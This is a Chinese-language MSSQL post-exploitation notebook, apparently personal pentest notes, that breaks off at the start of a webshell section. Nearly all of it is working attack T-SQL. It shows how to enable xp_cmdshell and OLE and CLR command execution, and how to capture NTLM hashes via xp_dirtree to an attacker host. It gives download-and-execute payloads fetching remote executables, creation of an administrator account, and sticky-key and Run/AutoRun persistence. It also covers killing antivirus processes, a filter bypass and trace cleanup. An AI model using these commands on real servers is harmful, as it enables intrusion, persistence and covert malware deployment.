1.mssql利用

Pasted image 20250509183450

1. mssql常用命令

使用sqlcmd执行命令需要结尾加上 Go 才行
Pasted image 20250508201655
基本查询命令

--连接数据库
sqlcmd -S localhost -U SA -P "<YourNewStrong@Passw0rd>"
--查看数据库版本
select @@VERSION
--获取MSSQL中的所有数据库名
SELECT name FROM MASter..SysDatabASes ORDER BY name
--查询所有数据库中的表名
SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200

select is_srvrolemember('sysadmin') -- 判断是否是SA权限 为1则可以提权
select is_member('db_owner')        -- 判断是否是db_owner权限
select is_srvrolemember('public')   -- 判断是否是public权限

1.1. Mssql安装

参考:Windows 10 系统 下载安装 SQL Server 2019 全图文流程_windows安装sqlserver-CSDN博客
值得注意的是安装好后默认是不开放外连的。需要去开启这个TCP/IP协议
Pasted image 20250509114742
Pasted image 20250509114631
然后防火墙开启入站规则 1433 tcp

2. mssql常见存储过程

2.1. xp_dirtree (默认开启)

xp_dirtree 是 SQL Server 的一个扩展存储过程(Extended Stored Procedure),用于列出指定目录下的文件夹和文件

使用xp_dirtree查看文件
exec xp_dirtree '目录路径', [depth], [file]

  • '目录路径':要列出的目录(如 'c:' 或 'c:',建议加反斜杠)
  • depth(可选):递归深度,默认10。
  • file(可选):是否显示文件,1为显示文件,0为只显示目录,默认0'

常用命令

--在所有拓展中查看是否有 xp_dirtree
SELECT name FROM master.sys.all_objects WHERE type_desc = 'EXTENDED_STORED_PROCEDURE'   AND name = 'xp_dirtree'
--授予指定用户 xp_dirtree 权限 (需要DBA权限)
GRANT EXEC ON xp_dirtree TO [数据库角色]
--取消授权
REVOKE EXEC ON xp_dirtree TO [数据库角色]


exec xp_dirtree 'c:'        -- 列出 c:\ 下的所有目录(递归10层),不显示文件
exec xp_dirtree 'c:',1      -- 列出 c:\ 下第一层的所有目录,不显示文件
exec xp_dirtree 'c:',1,1    -- 列出 c:\ 下第一层的所有目录和文件

还可以用来触发 NTLM 请求

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'

--例子
-- 方式一(简写)
exec xp_dirtree '\\192.168.1.100\share'
-- 方式二(全写)
exec master.dbo.xp_dirtree '\\192.168.1.100\share'

2.2. xp_subdirs

功能:只列出指定目录下的一级子目录(不递归,不显示文件

exec xp_subdirs 'C:';       -- 只列c:\目录

Pasted image 20250509131533

2.3. xp_fixeddrives

xp_fixeddrives 用于查看磁盘驱动器剩余(free)的空间

-- 查看磁盘驱动的空闲空间
EXEC xp_fixeddrives

Pasted image 20250509131520

2.4. xp_availablemedia

xp_availablemedia 用于获得当前所有驱动器

-- 列出磁盘
EXEC xp_availablemedia

Pasted image 20250509131604

2.5. xp_fileexist

用于判断文件是否存在的存储过程,参数是文件(file)的路径或目录的路径

-- 判断文件 D:\test.txt 是否存在
exec master.sys.xp_fileexist 'D:\test.txt'

Pasted image 20250509131639

2.6. xpcreatesubdir

用于创建子目录的存储过程,参数是子目录的路径

-- 创建子目录 D:\test
exec master.sys.xp_create_subdir 'D:\test'

2.7. xpdeletefile

可用于删除文件的存储过程,但该存储过程不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)的文件

-- 删除文件
declare @Date datetime = dateadd(day,-30,getdate())
exec master.sys.xp_delete_file 0,'D:\test\','bak',@Date,0

-- 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;
-- 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾;
-- 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';
-- 第四个参数是Date,早于该日期创建的文件将会被删除;
-- 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;

2.8. xp_regenumkeys

-- 枚举可用的注册表键值
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

Pasted image 20250509131907

2.9. xp_regdeletekey

xp_regdeletekey 可以删除指定的注册表值

-- 删除指定的注册表值(这里是清除“粘滞键劫持”后门)
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

Pasted image 20250509131951

3. sp_addextendedproc

  • sp_addextendedproc 是 SQL Server(MSSQL)中的一个系统存储过程用于注册扩展存储过程(Extended Stored Procedure)
  • 作用是把一个DLL文件注册为SQL Server的存储过程,(可以利用于恢复组件)这样你就可以像调用普通存储过程一样调用它。
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

4. mssql常用扩展/组件

4.1. CLR提权

cLR提权

描述

从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

CLR 方式可以利用 16 进制文件流方式导入 DLL 文件,不需要文件落地

  • MDUT 中的16进制的dll

dll的制作可以参考下面的文章

利用条件

  • 拥有DBA权限

这里我没有成功。直接用 MDUT

-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;

-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]

-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'

4.2. xp_cmdshell (默认关闭)

4.2.1. 描述

xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。

利用条件

  • 拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。
  • 依赖 xplog70.dll

利用过程

-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 查看 xp_cmdshell 是否启用(1为启用,0为禁用,看run_value即可)
EXEC sp_configure 'xp_cmdshell';

-- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 执行 xp_cmdshell
exec master..xp_cmdshell 'cmd /c whoami'

-- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

Pasted image 20250509123258

4.2.2. 无会显,也无法进行 dnslog 怎么办

通过临时表查看命令执行的结果

-- 创建一个名字为'tmpTable'的表,字段tmp1 容量8000 存放命令输出
CREATE TABLE tmpTable (tmp1 varchar(8000)); 
-- 执行whoami命令,把结果写入表
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig' 
-- 查询表内容,显示命令的输出
select * from tmpTable

Pasted image 20250509124310

Warning

这里每次查询其他命令都需要改变表tmpTable的名字,不然会报错
或者先判断表是否存在,如果存在就先删除:

-- 如果表已存在,先删除
IF OBJECT_ID('tmpTable', 'U') IS NOT NULL
    DROP TABLE tmpTable;
-- 创建表
CREATE TABLE tmpTable (tmp1 varchar(8000));
-- 执行命令,把结果写入表
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig';
-- 查询表内容
select * from tmpTable;

Pasted image 20250509125558

4.2.3. 常见报错

标记message: 配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选

sql EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;

4.2.4. 痕迹清理

删除扩展存储过过程 xp_cmdshell

exec sp_dropextendedproc 'xp_cmdshell'

4.2.5. 如果 xp_cmdshell 被删除了怎么办

如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复

# mssql-2012路径:
C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll
# mssql-2022路径:
C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Binn\xplog70.dll
-- 判断存储扩展是否存在,返回结果为1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

4.2.6. bypass

';  DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping xxx.dnslog.cn' —

4.3. sp_oacreate (Ole Automation Procedures) (默认关闭)

4.3.1. 描述

利用条件

  • 拥有DBA权限
  • 依赖 odsole70.dll

利用命令

-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 判断SP_OACREATE状态,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

-- 启用 sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

4.3.2. 常用组件利用

4.3.2.1. 利用COM 组件 wscript.shell 执行命令

wscript.shell(全名:Windows Script Host Shell 对象,也叫 WScript.Shell)是 Windows 系统自带的一个COM 组件,用于脚本语言(如 VBScript、JScript、SQL Server OLE Automation)调用操作系统功能,如执行系统命令、操作环境变量、读写注册表等等

-- 方式一:获取命令输出
declare @obj int, @exec int, @text int, @str varchar(8000);
exec sp_oacreate 'wscript.shell', @obj output;
exec sp_oamethod @obj, 'exec', @exec output, 'cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out;
select @str;

-- 方式二:直接运行命令并输出到文件
declare @obj int;
exec sp_oacreate 'wscript.shell', @obj output;
exec sp_oamethod @obj, 'run', null, 'cmd.exe /c whoami >c:\users\pulic\1.txt';

Pasted image 20250509133639

4.3.2.2. 利用 COM 组件 CLSID 执行命令

实际上还是利用wscript.shell组件
这个 {72C24DD5-D70A-438B-8A42-98424B88AFB8} 对应的是WScript.Shell 对象,也就是 Windows 脚本宿主(可以用来执行命令)

declare @obj int, @exec int, @text int, @str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}', @obj output;
exec sp_oamethod @obj, 'exec', @exec output, 'cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out;
select @str;

Pasted image 20250509133816

4.3.2.3. 利用 COM 组件写文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}', @ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x433174727573;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL, 'c:\users\public\1.txt', 2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;

0x433174727573 就是写入的字符串的16进制数据
Pasted image 20250509134430

4.3.2.4. 利用 filesystemobject COM 对象

写vbs脚本

-- 利用 filesystemobject 写vbs脚本
declare @o int, @f int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\www\test.vbs', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah';

执行vbs脚本

-- 配合 wscript.shell 组件执行
DECLARE @s int;
EXEC sp_oacreate 'wscript.shell', @s out;
EXEC sp_oamethod @s, 'run', NULL, 'c:\www\test.vbs';

复制文件

-- 复制具有不同名称和位置的 calc.exe 可执行文件
declare @obj int;
exec sp_oacreate 'scripting.filesystemobject', @obj out;
exec sp_oamethod @obj, 'copyfile', null, 'c:\windows\system32\calc.exe', 'c:\windows\system32\calc_copy.exe';

移动文件

declare @obj int;
exec sp_oacreate 'scripting.filesystemobject', @obj out;
exec sp_oamethod @obj, 'movefile', null, 'c:\www\1.txt', 'c:\www\3.txt';

替换粘滞键

declare @obj int;
exec sp_oacreate 'scripting.filesystemobject', @obj out;
exec sp_oamethod @obj, 'copyfile', null, 'c:\windows\system32\calc.exe', 'c:\windows\system32\sethc.exe';
exec sp_oamethod @obj, 'copyfile', null, 'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
4.3.2.5. ScriptControl COM 对象(可运行脚本语言,未必所有环境可用)

ScriptControl 允许我们在 SQL Server 中实际运行脚本语言,例如 VBScript 或 JavaScript。
使用 JavaScript 创建帐户、更改其密码并将新帐户添加到管理员组

declare @obj int;
EXEC sp_OACreate 'ScriptControl', @obj OUT;
EXEC sp_OASetProperty @obj, 'Language', 'JavaScript';
EXEC sp_OAMethod @obj, 'Eval', NULL,
    'var o=new ActiveXObject("Shell.Users");
    z=o.create("testuser");
    z.changePassword("123456!@#","");
    z.setting("AccountType")=3;';
    
-- 0:"Guests"
-- 1:"Users"
-- 2:"Power Users"
-- 3:"Administrators"

下载并运行恶意程序

declare @obj int;
EXEC sp_OACreate 'ScriptControl', @obj OUT;
EXEC sp_OASetProperty @obj, 'Language', 'JavaScript';
EXEC sp_OAMethod @obj, 'Eval', NULL,
    'var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET","http://x.x.x.x:443/test.exe",0);
    x.Send();
    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);
    s.SaveToFile("C:\\www\\test.exe",2);
    var r = new ActiveXObject("WScript.Shell");
    r.Run("C:\\www\\test.exe");';

WMI COM 对象利用

declare @objWmi int, @objLocator int, @objPermiss int, @objRet int, @objFull varchar(8000);
EXEC sp_OACreate 'WbemScripting.SWbemLocator.1', @objLocator OUTPUT;
EXEC sp_OAMethod @objLocator, 'ConnectServer', @objWmi OUTPUT, '.', 'root\cimv2';
EXEC sp_OAMethod @objWmi, 'Get', @objPermiss OUTPUT, 'Win32_LogicalFileSecuritySetting.Path=''wscript.exe''';
EXEC sp_OAMethod @objWmi, 'Get', @objFull OUTPUT, 'Win32_SecurityDescriptor';
EXEC sp_OASetProperty @objFull, 'ControlFlags', 4;
EXEC sp_OAMethod @objPermiss, 'SetSecurityDescriptor', @objRet output, @objFull;
--这是尝试修改 Windows 脚本宿主 wscript.exe 文件的安全描述符(权限),目的是为了让普通用户也能篡改或执行它,从而为后续提权、持久化攻击做准备

4.4. xp_regwrite

利用条件

  • xpstar.dll

4.4.1. 修改注册表来劫持粘贴键(映像劫持)

利用regwrite函数修改注册表,起到劫持作用

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

-- 检查是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

4.4.2. 将 COM 对象注册到 CLSID

在进行 sp_oacreate 利用的时候就有使用 com 组件执行命令的方法

-- 使用其 CLSID '0D43FE01-F093-11CF-8940-00A0C9054228' 注册 'The File System Object component'
EXEC xp_regwrite N'HKEY_ CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\', N'', REG_SZ, N'FileSystem Object';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\(0D43FE01-F093-11CF-8940-00A0C9054228}\InProcServer32', N'',
REG_SZ, N'%systemroot%\system32\scrrun.dll';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID',N'',REG_SZ,
N'Scripting.FileSystemObject';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TypeLib',N'',REG_SZ,
N'{420B2830-E718-11CF-893D-00A0C9054228}';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\Version',N'',REG_SZ,
N'1.0';

4.4.3. CMD AutoRun

当 CMD.exe(命令处理器)启动时,如果未指定 /D 标志,将执行 AutoRun 命令。

-- 将 CMD.exe 的 AutoRun 注册表项与软件可执行路径 (c:\windows\system32\calc.exe) 添加,作为持久化的后门(需要高权限用户,不然只能修改用户级别的注册表)
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','c:\windows\system32\calc.exe'

4.4.4. Run & RunOnce

Run 和 RunOnce 注册表项会导致程序在用户每次登录时运行。

-- 通过将带有可执行路径 (c:\windows\system32\calc.exe) 的 Aut3 条目添加到此注册表路径,攻击者确保每次用户登录服务器时都会执行恶意软件。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','c:\windows\system32\calc.exe'

4.4.5. 禁用指定软件

攻击者需要确保在部署加密矿工时杀死反病毒进程以保持不被发现。所以可以设置在某些应用启动时自动关闭.

-- 禁用正在运行的进程的方法是使用 IFEO(Image File Execution Options),通过添加值为 taskkill 的调试器键,在这种情况下将杀死特定进程 Everything.exe:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe'

Pasted image 20250509142050
此时只要开启 Everything 就会自动关闭.

5. 利用触发器

触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。

SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器

登录触发器

登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。

-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go

-- user 表 update 更新时,自动触发
UPDATE user SET id = '22' WHERE nickname = 'f0x'

6. SQLServerAgent Job 代理执行计划任务利用

SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。

利用条件

  • 拥有 DBA 权限
  • 需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的
  • 需要 数据库服务是一个高权限用户才行
-- 开启 sqlagent 服务(需要数据库运行在高权限用户下)
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

-- 利用任务计划命令执行(无回显,可以 dnslog)
-- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt

use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';

7. mssql写webshell

7.1. 存储过程写webshell

利用条件